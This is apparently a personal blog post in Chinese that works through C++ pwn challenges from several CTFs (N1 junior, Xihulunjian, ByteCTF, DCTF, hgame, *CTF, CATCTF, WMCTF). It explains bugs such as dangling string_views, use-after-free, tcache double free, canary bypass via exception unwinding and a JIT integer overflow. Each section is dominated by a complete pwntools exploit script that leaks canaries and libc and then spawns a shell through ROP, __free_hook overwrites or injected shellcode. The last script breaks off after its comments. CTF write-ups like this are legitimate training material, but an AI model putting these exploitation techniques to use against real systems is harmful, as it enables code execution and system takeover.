dig into C++ pwn

本文最后更新于:2023年12月7日 晚上

learn to do C++ Pwn

0x0:写在所有之前

借用前华东百之👴的一句话:

c++pwn,就是艹c艹

0x1:愉悦的折磨

N1 junior2023 顶级签到

当初笔者参加N1 junior,这题是看都看不懂,在学了两天C++基本语法后,笔者重新捡起了这题

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/*
(写完程序)
“你自己运行了吗?😏”
“跑了一下🤥”
“感觉怎么样?🧐”
“我去除了大部分的安全问题,但是我保留了一部分” “我觉得保留了一部分漏洞,才知道你做的是CTF题🤓”
“你是有意把它保留的吗🤨”
“是编写过程中,我留下了一部分😌”
“是故意的还是不小心😨”
“是故意的😋”
(打开源码)
“🍴😵‍💫🥴😤😡🤬”
*/
#include <iostream>
#include <string>
#include <vector>
#include <exception>
#include <string_view>
#include <unordered_map>
#include <functional>
using namespace std;


string getInput()
{
string res;
getline(cin, res);
if (res.size() > 64)
throw std::runtime_error("Invalid input");
while (!res.empty() && res.back() == '\n')
res.pop_back();
return res;
}

bool allow_admin = false;
auto splitToken(string_view str, string_view delim)
{
if (!allow_admin && str.find("admin") != str.npos)
throw std::invalid_argument("Access denied");
vector<string_view> res;
size_t prev = 0, pos = 0;
do
{
pos = str.find(delim, prev);
if (pos == std::string::npos)
{
pos = str.length();
}
res.push_back(str.substr(prev, pos - prev));
prev = pos + delim.length();
} while (pos < str.length() && prev < str.length());
return res;
}
auto parseUser()
{
auto tok_ring = splitToken(getInput(), ":");
if (tok_ring.size() != 2)
throw std::invalid_argument("Bad login token");
if (tok_ring[0].size() < 4 || tok_ring[0].size() > 16)
throw std::invalid_argument("Bad login name");
if (tok_ring[1].size() > 32)
throw std::invalid_argument("Bad login password");
return make_pair(tok_ring[0], tok_ring[1]);
}
const unordered_map<string_view, function<void(string_view)>> handle_admin = {
{"admin", [](auto)
{
system("/readflag");
}},
{"?", [](auto)
{
cout << "Enjoy :)" << endl;
cout << "https://www.bilibili.com/video/BV1Nx411S7VG" << endl;
}}};
constexpr auto handle_guest = [](auto)
{
cout << "Hello guest!" << endl;
};
int main()
{
auto [username, password] = parseUser();
cout << "Enter 'login' to continue, or enter 'quit' to cancel." << endl;
auto choice = getInput();
if (choice == "quit")
{
cout << "bye" << endl;
return 0;
}
if (auto it = handle_admin.find(username); it != handle_admin.end())
{
it->second(password);
}
else
{
handle_guest(password);
}
}

怎么说呢,👴只能看出个大概运行逻辑,但👴是真的找不到洞

👴只能求助👴高中的OI👴(国一👴!!)

img

问题出现在 main 函数中。一旦 parseUser 返回,splitToken 函数中创建的字符串就超出了它们的作用域,因为这些字符串是局部变量。因此,usernamepassword 变量成为了悬垂指针(Dangling Pointers),它们引用的内存已经无效。

所以第二次输入到choice变量的时候,就可以复用这个悬垂指针,看似指向username 和 password,实则里面的内容已经是choice,所以输入choice的时候输入”admin”就行了。,

👴以为👴又行了,结果试了一下发现八行。👴很恼火,就去摸鱼了,摸着摸着就摸到了纯真✌的博客(@张清越),了解了SSO机制对于不同长度的字符串的处理。

同时string_view会记录字符串的size,因为admin的size是5,所以第一次login的时候username的size也应该是5.

👴又自己写了一个poc,应该更好理解一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <iostream>
#include <string_view>
#include <cstring>
#include <vector>

std::string_view CreateAndReturnPointer() {

std::string res;
getline(std::cin,res);
std::string_view strView(res);

return strView;
}

int main() {

std::string_view view = CreateAndReturnPointer();

std::string res;
getline(std::cin,res);

std::cout << "now the content of string_view is :" << view.substr(0,8) << std::endl;
return 0;
}
from pwn import *
p = process('./test')
p.sendline(b'a'*0x80)
sleep(0.1)
p.sendline(b'b'*0x80)

p.interactive()

按理来说,view指向的字符串应该是b’a’*0x80

但是刚出CreateAndReturnPointer函数,储存字符串的chunk就被free了

img

所以后面的getline获取输入的时候,一但输入size和第一次输入size相等,这个chunk又会被启用,但是,其中的内容已经变了,而view并不知道家被偷了。

所以最后的结果便是

img

噫,👴终于懂了。

西湖论剑2021 string_go

👴在翻库存的时候发现了一道21年的西葫芦🗡的C++

就拿过来练练手

程序本身实现了一个只能进行加减运算的clac,当计算结果为3时可以进入lative_func

img

后面经过动调发现,字符串-8的地方存放的是输出时的size,同时idx可以为负数,那就能把size给改了,泄露出栈上的数据后用memcpy完成栈溢出。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
libc = ELF('./libc-2.27.so')
elf = ELF('./string_go')
flag = 0
if flag:
p = remote('182.92.164.148', 48649)
else:
p = process("./string_go")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

sla(b'>>> ',b'3')
sla(b'>>> ',b'0')
gdb.attach(p,"b *$rebase(0x23A9)\nc\n")
sla(b'>>> ',b'aaaaaaaa')


sla(b'>>>',b'\x01')
ru(b'a'*8)
rc(0x18)
data1 = rc(0x18)
canary = u64(rc(8).ljust(8,b'\x00'))
leak("canary",canary)

rc(8)
elf_base = u64(rc(8)) - 0x1760
leak("elf_base",elf_base)

pop_rdi = 0x0000000000003cf3 + elf_base
main = elf_base + 0x24bd

data2 = rc(0x18)
p.recv()
payload = b'1'*0x18 + p64(canary) + p64(0)*3 + \
p64(pop_rdi) + p64(elf_base + elf.got['puts']) + p64(elf.plt['puts']+elf_base) + p64(main)
sl(payload)
libc.address = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
leak("libc",libc.address)
sla(b'>>> ',b'3')
sla(b'>>> ',b'-7')
sla(b'>>> ',b'aaaaaaaa')
sla(b'>>> ',b'\x01')

payload = b'1'*0x18 + p64(canary) + p64(0)*3 + \
p64(elf_base + 0x00000000000014ce)+ p64(pop_rdi)+ p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym['system'])
sl(payload)
p.interactive()

ByteCTF2020 TikTok

在A3👴博客中找到的题,C++逆向就是出生的太阳,逼样的晚意。

题目一打开,楽,真会整活

img

功能多的一批,于是👴就勤勤肯肯把所有功能都写了,结果👴在delete,输入密码的时候,发现密码输入错误直接把栈里面的数据带出来了,👴就知道这把有了。因为delete这个功能有几个花指令,不能傻瓜create function,看不了伪代码。于是👴进gdb看到了memcpy,甚至输入错位还有输出,人还怪好的。那就是泄露数据后栈溢出,和前一题一样的套路。

(所以这么多fuction你是一点没用啊)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
libc = ELF('./libc-2.31.so')
elf = ELF('./tiktok')
flag = 0
if flag:
p = remote('182.92.164.148', 48649)
else:
p = process("./tiktok")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

menu = b'$ '
def login(password):
sla(b':',password)

def add(sex,type,age,name):
payload = b'Add '
payload += sex + b' '
payload += type + b' '
payload += str(age).encode() + b' '
payload += name
sla(menu,payload)

def show(sex):
payload = b'Show' + b' '
payload += sex
sla(menu,payload)

def info(id):
payload = b'Info ' + id
sla(menu,payload)

def delete(id):
payload = b'Delete ' + id
sla(menu, payload)


def convert(id):
payload = b'Convert ' + id
sla(menu, payload)

def edit(id,name):
payload = b'Edit '
payload += id + b' '
payload += name
sla(menu,payload)

def follow(action,id1,id2):
payload = b'Follow '
payload += action + b' '
payload += id1 + b' '
payload += id2 + b' '
sla(menu, payload)

def clone(id,name):
paylaod = b'Clone '
paylaod += id + b' '
paylaod += name
sla(menu,paylaod)

login(b'TikTokAdmin')


delete(b'W6')
login(b'a'*0x30 + b'b'*9)
ru(b'b'*9)
canary = u64(rc(7).rjust(8,b'\x00'))
leak("canary",canary)
login(b'a'*0x38 + p64(canary))


delete(b'W6')
login(b'a'*0x38 + b'b'*8)
ru(b'b'*8)
stack_value1 = u64(rc(6).ljust(8,b'\x00'))
leak("stack_value1",stack_value1)
login(b'a'*0x38 + p64(canary) + p64(stack_value1))

delete(b'W6')
login(b'a'*0x40 + b'b'*8)
ru(b'b'*8)
stack_value2 = u64(rc(6).ljust(8,b'\x00'))
leak("stack_value2",stack_value2)
login(b'a'*0x38 + p64(canary) + p64(stack_value1) + p64(stack_value2))

elf_base = stack_value2 - 0x39a0
pop_rdi = elf_base + 0x000000000000ea73
main = elf_base + 0x49f3


delete(b'W6')
login(b'a'*0x48 + b'b'*8)
ru(b'b'*8)
stack_value3 = u64(rc(6).ljust(8,b'\x00'))
leak("stack_value2",stack_value3)
payload = p64(canary) + p64(stack_value1) + p64(stack_value2) + p64(stack_value3) + \
p64(pop_rdi) + p64(elf_base + elf.got['puts']) + p64(elf_base + elf.plt['puts']) + p64(main)
login(b'a'*0x38 + payload)

libc.address = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
leak("libc",libc.address)

login(b'TikTokAdmin')


delete(b'W6')
login(b'aaaa')
payload = p64(canary) + p64(stack_value1) + p64(stack_value2) + p64(stack_value3) + \
p64(elf_base + 0x00000000000096c3) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym['system'])
login(b'a'*0x38 + payload)
p.interactive()

DCTF2017 flex🤪

作为一个没打过OI,更不会C++的蒻笱,异常处理这玩意直接涉及到笔者盲区了。

首先这题不能说是一个纯种的C++ pwn题,只能说是一个C和C++的杂种杂修~~

IDA打开,选项4很诱人,但仔细一看基本上利用不了,难受,就像打了脚没🐍出来一样难受😰

然后选项3是个FW,👴只能看function1&2了

img

很明显的负数溢出,然后可以栈溢出嘿嘿嘿,但是这玩意有个canary,bad,这比🐍不出来还要难受🥵

但是很明显这个func里存在奇怪的东西,throw,👴感觉这玩意有问题,但是👴8知道哪里有问题。

img

摸不出来的👴只能去网上冲浪,卑微的窝在阴暗的下水道里读着大跌们的wp

然后👴明白啦

异常处理机制

try、throw、catch这三个卧龙凤雏总是一起出现

Throw抛出异常,try 包含异常模块,catch 捕捉抛出的异常

当程序throw一个异常的时候,基本流程是这样的喵

1、调用 __cxa_allocate_exception 函数,分配一个异常对象。

img

2、调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。

img

3、__cxa_throw() 调用 _Unwind_RaiseException() 从而开始 unwind(unwind“回退”是伴随异常处理机制引入 C++ 中的一个新概念,主要用来确保在异常被抛出、捕获并处理后,所有生命期已结束的对象都会被正确地析构,它们所占用的空间会被正确地回收。)。

img

4、_Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。

5、如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。

6、_Unwind_RaiseException() 将控制权转到相应的catch代码。

然后👴就发现异常处理后👴就来到了一个奇怪的地方

img

仔细一看,欸,原来function1里的try和catch模块反编译时并没有出来。

那这么一说,👴从孙子函数跳到了儿子函数并且没有经过canary的check,win!!

那么问题来了,该怎么食用这个漏洞捏。

6年前爹爹们的思路是:如果异常被上一个函数的catch捕获,所以rbp变成了上一个函数的rbp, 而通过构造一个payload把上一个函数的rbp修改成stack_pivot地址, 之后上一个函数返回的时候执行leave ret,这样一来我们就能成功绕过canary的检查而且进一步我们也能控制eip,,去执行了stack_pivot中的rop了。

妙,实在是妙啊。

PS:返回地址一定要填try和catch之间的地址(只有这样才能被捕获异常)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
libc = ELF('./libc-2.31.so')
elf = ELF('./flex')
flag = 0
if flag:
p = remote('182.92.164.148', 48649)
else:
p = process("./flex")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

pop_rdi = 0x00000000004044d3
ret = 0x0000000000400ba9

sla(b':\n',b'1')
sla(b')\n',b'no')

sla(b')\n',b'yes')

sla(b':\n',str(-2).encode())
gdb.attach(p,"b *0x40134f\nc\n")
paylaod = b'a'*0x120 + p64(0x6061c0) + p64(0x401512)
sla(b':\n',paylaod)

payload = flat([
0x4044ca,
0,1,elf.got['read'],0x100,0x606260,0,
0x4044b0,
0,0,0,0,0,0,0
])
sla(b':\n',b'/bin/sh\x00'+p64(ret)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+payload)

libc.address = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
leak("libc",libc.address)
payload = p64(0xe3afe+libc.address)
sl(payload)
p.interactive()

爽啊,果然还是🐍出来才是最爽的啊😋

hgame2022 Vector😎

跟vector容器有关的一道菜单堆

多了一个move function,那问题肯定在里面。

img

当move输入的nex_idx过大时,resize会申请一个更大的chunk,并把原来chunk中的数据复制过去。可以看到,这个操作是在note[idx]

= nullptr之前,因此note[idx] = nullptr实际上是在给已经废弃的note中的idx置0。这样便能造成UAF。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
libc = ELF('./libc-2.31.so')
elf = ELF('./vector')
flag = 0
if flag:
p = remote('182.92.164.148', 48649)
else:
p = process("./vector")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

menu = b'>> '
def add(index,size,content):
sla(menu,b'1')
sla(menu,str(index).encode())
sla(menu,str(size).encode())
sa(menu,content)

def show(index):
sla(menu,b'3')
sla(menu,str(index).encode())

def delete(index):
sla(menu,b'4')
sla(menu,str(index).encode())

def move(new_index):
sla(menu,b'5')
sla(menu,b'1')
sla(menu,str(new_index).encode())

for i in range(8):
add(i,0x90,b'aaaa')

for i in range(8):
delete(7-i)
for i in range(9):
add(i,0x50,b'aaaaaaaa')

show(0)
ru(b'a'*8)
libc.address = u64(rc(6).ljust(8,b'\x00')) - 0x1ecc70
leak("libc",libc.address)
move(10)
move(9)

move(32)

for i in range(3,10):
delete(i)

delete(2)
delete(10)
delete(32)

for i in range(7):
add(i,0x50,b'aaaa')

add(7,0x50,p64(libc.sym['__free_hook']))
add(8,0x50,b'/bin/sh\x00')
add(9,0x50,b'/bin/sh\x00')
add(10,0x50,p64(libc.sym['system']))
delete(8)
gdb.attach(p)
p.interactive()

*CTF 2021 babygame🤮

逆个🐕8,🧠要炸了

👴一开始觉得👴把9个关卡通关了👴就win了,8就是玩游戏🐎,👴在行,so easy

然后就没有然后了,👴对着IDA那坨屎山代码看了两个小时看不出来,👴摆了,润

后来👴想着fuzz试试,结果这个🐕8glibc是glibc-2.27 ubuntu1.2的版本,tcache里还莫得check,tcache 的double free根本8会报错,妈妈生的。

👴🏳️,钻进👴在下水道阴暗的小窝里看A3👴的wp,👴好奇A3👴是怎么调出来完成一个关卡后,选定一个关卡,然后退出会造成UAF的。

然后就很简单了,string可以申请任意大小的chunk,配合tcache double free 打free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
import sys


context.log_level='debug'
context.arch='amd64'

libc = ELF('./libc.so.6')

flag = 0
if flag:
p = remote('172.10.0.8', 9999)
else:
p = process("babygame")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

def cmd(x):
sla(b':\n',x)

def decode():
cmd(b'1')
cmd(b'a')
cmd(b'a')
cmd(b'd')
cmd(b's')
cmd(b's')
cmd(b'w')
cmd(b'd')
cmd(b'd')
cmd(b'a')
cmd(b'w')
cmd(b'w')

cmd(b'q')
cmd(b'y')

cmd(b'korey0sh1')

cmd(b'y')

cmd(b'l')
libc.address = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebca0
leak("libc.address",libc.address)

decode()
cmd(b'1')
cmd(b'q')
cmd(b'n')
cmd(b'y')

cmd(b'q')
cmd(b'y')
cmd(b'/bin/sh\x00'*10)
cmd(b'y')

cmd(b'q')
cmd(b'y')
cmd(p64(libc.sym['__free_hook'])+b'\x00'*0x48)
cmd(b'y')

cmd(b'q')
cmd(b'y')
cmd(b'/bin/sh\x00'*10)
cmd(b'y')

cmd(b'q')
cmd(b'y')

cmd(p64(libc.sym['system'])+b'\x00'*0x48)
cmd(b'n')

p.interactive()

CATCTF 2022 Chao🛏️💤

winmt👴出的C++ Pwn

逆吐啦🤮🤮🤮🤮

Create里有0和1两种type,但观察update和show功能后,就能发现这两个功能只适配type0。然后看看两种type不同的虚表函数,就发现update type1能直接伪造size和show的基址,便可以任意地址读。

存在栈溢出漏洞,然后用0xfffffff7+0xa-1这种补码漏洞来触发C++异常处理绕过canary check

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
import sys

context.log_level='debug'
context.arch='i386'

libc = ELF('./libc.so.6')

flag = 0
if flag:
p = remote('172.10.0.8', 9999)
else:
p = process("chao")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
menu = b'>> '
def add(type,content):
sla(menu,b'1')
sla(b'?\n',str(type).encode())
sla(menu,content)

def edit(index,content):
sla(menu,b'2')
sla(b'?\n',str(index).encode())
sla(menu,content)

def show(index):
sla(menu,b'3')
sla(b'?\n',str(index).encode())

add(1,p32(0xdeadbeaf))
for i in range(8):
add(0,0xf0*b'a')
for i in range(8):
edit(i+1,0x10*b'a')

edit(0,b'a'*0x20)
add(0,b'a'*4)
edit(0,p32(0x11111))

show(0)

ru(b': ')
heap_base = u32(rc(4)) - 0x5710

libc.address = u32(ru(b'\xf7')[-4:]) - 0x1e8780
leak("libc",libc.address)

edit(0,p32(0xfffffff6)+p32(heap_base+0x4ba9))
show(0)
ru(b': ')
elf_base = u32(rc(3).rjust(4,b'\x0c')) - 0x4e0c
leak("elf",elf_base)

lea_ret = 0x00110226+libc.address
add_esp_1c = 0x0001b034 + libc.address
ret = libc.address + 0x0001922e
add_esp_4 = 0x0002fe0e + libc.address
add_esp_8 = 0x0002fbe9 + libc.address
add_esp_c = 0x0001b90a + libc.address
int_0x80 = 0x000312f5 + libc.address
pop_eax = 0x000282eb + libc.address
pop_ebx = 0x0001de56 + libc.address
pop_ecx_edx = 0x00030ea3 + libc.address
payload = flat([
heap_base+0x54e8,add_esp_1c,
0x22222222,0x33333333,0x44444444,0x55555555,0x66666666,
lea_ret,0x88888888,
libc.sym['gets'],add_esp_4,libc.sym['__free_hook'],
libc.sym['gets'],add_esp_4,heap_base+0x5524,
])

orw = flat([
libc.sym['open'],add_esp_8,heap_base+0x4c2f,0,
libc.sym['read'],add_esp_1c,3,heap_base+0x5000,0x30,
ret,ret,ret,ret,
libc.sym['write'],add_esp_1c,1,heap_base+0x5000,0x30,

])
edit(2,p32(heap_base+0x1111)+p32(0x11111))
edit(2,p32(heap_base+0x1111)+p32(0x111))
edit(2,p32(heap_base+0x1111)+p32(0x1))

edit(1,cyclic(0x4) + p32(heap_base+0x54a8)*3 + p32(heap_base + 0x54e8)*4 + p32(heap_base + 0x54e8) +p32(0x2044+elf_base))

edit(3,payload)
edit(4,b'......................................../flag')
leak("heap",heap_base)
gdb.attach(p,"b *$rebase(0x204c)\nc\n")
edit(0,p32(0xfffffff6)+p32(heap_base+0x4bd9))
show(0)

sl(orw)

p.interactive()

额exp写的很乱,凑合着看吧

西葫芦🗡 2023 JIT 😭

今年年初的西葫芦🗡是👴第一次打大比赛,当初👴还不懂事,出了两道简单题后还不知好歹,看了一眼jit,当时就被吓得亚麻呆住了。

刨坟挖出来康康题,结果逆了一天逆了个大概,第二天一直在想怎么能把shellcode写到exec_memory里,最后还是看了rode👴的wp,用了jmp short 的短指令完成系统调用。

逆亿下🤮🤮

整体逻辑还行

mmap了一个具有rwx权限的memory,经过Compiler::handleFn处理后,输入的内容会变成memory出的汇编,最后执行。

一个个来看

这个算是个对exec_memory的初始化

img

1
Compiler::handleFn`函数里面,会读取输入的第一个字节,要求为\xff,并读取第12个字节为`args`和`locals

img

进入Compiler::creatFuncargs 要 小于8,locals要小于0x20,然后在exec_memory里用sub rsp, 8*locals开一个栈空间

img

然后进入核心函数Compiler::handleFnBody()

里面的Compiler::var2idx是将传入的参数进行处理,动调一下发现是[rbp - ret_value*8]

存在整数溢出漏洞,可以看到上层函数接受返回值的参数是单字节的,所以当varib为0xa0时可以使返回值为0,可以直接对rbp进行操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
char __cdecl Compiler::var2idx(u8 varib)
{
u8 variba; // [rsp+Ch] [rbp-1Ch]

if ( (varib & 0x7F) == 0 ) //varib!=0x7f
fatal();
if ( (varib & 0x80u) == 0 ) //varib < 0x80
{
if ( varib > Compiler::ctx_args )
fatal();
if ( (char)(8 * varib) <= 0 )
fatal();
return 8 * varib;
}
else 1000 1010 //varib > 0x80
{
variba = varib ^ 0x80;
if ( (unsigned __int8)(varib ^ 0x80) > Compiler::ctx_locals ) //当locals设置为max 0x20,varib max = 0xa0
fatal();
if ( (char)(-8 * variba) > 0 )
fatal();
return -8 * variba;
}
}

img

后面就是0-5的opcode,6的利用条件太tm烦了👴就没看

基本上就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
case 0u:
v0 = IRstream::getop(); // 感觉是ret
return Compiler::var2idx(v0);
case 1u:
v2 = IRstream::getop(); // mov [rbp - var],num
var = Compiler::var2idx(v2);
imm = IRstream::getimm();
AsmHelper::imm2var(var, imm);
break;
case 2u:
v3 = IRstream::getop();
var1 = Compiler::var2idx(v3);
v4 = IRstream::getop();
var2 = Compiler::var2idx(v4);
AsmHelper::var2reg(var2); // mov [rbp-var2],[rbp-var1]
AsmHelper::pvar2reg(var1);
AsmHelper::regassign();
break;
case 3u:
v5 = IRstream::getop();
var1_0 = Compiler::var2idx(v5);
v6 = IRstream::getop();
var2_0 = Compiler::var2idx(v6);
AsmHelper::var2reg(var2_0);
AsmHelper::pvar2reg(var1_0);
AsmHelper::regarith(0x21u); // and [rbp-var2_0],[rbp-var1_0]
break;
case 4u:
v7 = IRstream::getop();
var1_1 = Compiler::var2idx(v7);
v8 = IRstream::getop();
var2_1 = Compiler::var2idx(v8);
AsmHelper::var2reg(var2_1);
AsmHelper::pvar2reg(var1_1);
AsmHelper::regarith(9u); // or [rbp-var2-1],[rbp-var1_1]
break;
case 5u:
v9 = IRstream::getop();
var1_2 = Compiler::var2idx(v9);
v10 = IRstream::getop();
var2_2 = Compiler::var2idx(v10);
AsmHelper::var2reg(var2_2); // xor [rbp-var2_2],[rbp-var2_1]
AsmHelper::pvar2reg(var1_2);
AsmHelper::regarith(0x31u);
break;

最后AsmHelper::func_ret恢复栈帧,这样just in time 基本上就好了

1
JITHelper::finailize()`将`exec_memory`的`rwx`权限改为`r_x

后面的一连串check是使第一次转汇编的输入的idargs必须为0

img

然后就是执行了exec_memory

利用🏳️🏳️

那么问题来了,执行的时候没有write权限,👴该怎么往上写shellcode

👴一开始想的是在栈上布置rop链,但是要先泄露libc,也pass

这是怎么绘事捏

后来看了rode👴的wp,又学到了新的东西

因为case 1中mov到栈上的是8字节,于是可以是“xor rax, rax; jmp short"这种短跳转代码,那👴懂啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
import sys

context.log_level='debug'
context.arch='amd64'


flag = 0
if flag:
p = remote('172.10.0.8', 9999)
else:
p = process("./jit")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))


gdb.attach(p,"b *$rebase(0x1ddf)\nc\n")

payload = b'\xff\x00\x00\x20'
payload += b'\x01\x8b' + b'/bin/sh\x00' #mov [rbp-0xb*8], /bin/sh
payload += b'\x01\x8a' + p64(0xffffffffff00) #mov [rbp-0xa*8], 0xffffffffff00
payload += b'\x01\x89' + p64(0x47) #mov [rbp-9*8], 0x47
payload += b'\x01\x88' + b"\x48\x31\xf6\xeb\x0c\x00\x00\x00" #xor rsi, rsi; jmp 0x11
payload += b'\x01\x87' + b"\x48\x31\xd2\xeb\x0c\x00\x00\x00" #xor rdx, rdx; jmp 0x11
payload += b'\x01\x86' + b"\x48\x31\xc0\xeb\x0c\x00\x00\x00" #xor rax, rax; jmp 0x11
payload += b'\x01\x85' + b"\x04\x3b\xeb\x0d\x00\x00\x00\x00" #add al, 0x3b; jmp 0x11
payload += b'\x01\x84' + b"\x0f\x05\x00\x00\x00\x00\x00\x00" #syscall
payload += b'\x03\xa0\x8a' #and [rbp], [rbp-0xa*8]
payload += b'\x04\xa0\x89' #or [rbp], [rbp-9*8]
payload += b'\x00\x8b' #mov rdi,[rbp-b*8];ret

sd(payload)
p.interactive()

WMCTF 2023 JIT🥵

just in time ,又是你!!

👴只是想把C++pwn题学明白,👴有什么错,要拿2000行的屎山代码来恶心👴

再逆亿下

先输入programmemoryprogram要是16进制字符串,memory要是len(program) //2

img

这边大致是创建虚拟机并进行一系列初始化的过程,具体操作👴也没逆明白

img

然后就是核心code

img

func_8510里,通过func_84e0-->func_8370-->func_5a50这个2000行的屎山把输入的program翻译成汇编存储在申请出来的chunk

mmap一片内存,把chunk里的汇编copy过去,然后mprotect改成r_x权限

call rax就是执行翻译的汇编

img

最后有个result输出的是执行完后的寄存器rax

差不多了,快吐了

😭😭😭

利用

问题来了,那个2000行的代码等👴看完估计是天都亮了,👴果断去看wp,发现很多👴都说这是ebpf

👴:???

👴:妈妈生的,这是个什么玩意

然后👴就去找这玩意的指令集

一试,对上了,那就好办了

先连上找个libc值给rax,打印出来康康libc版本

然后就是ogg覆盖返回地址,因为👴莫得找到syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import sys

context.log_level='debug'
context.arch='amd64'
libc = ELF('./libc-2.31.so')
flag = 0
if flag:
p = remote('172.10.0.8', 9999)
else:
p = process("jit")
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

# rax:0
# rdi:1
# rsi:2
# rdx:3
# r9:4
# r8:5
# rbx:6
# r13:7
# r14:8
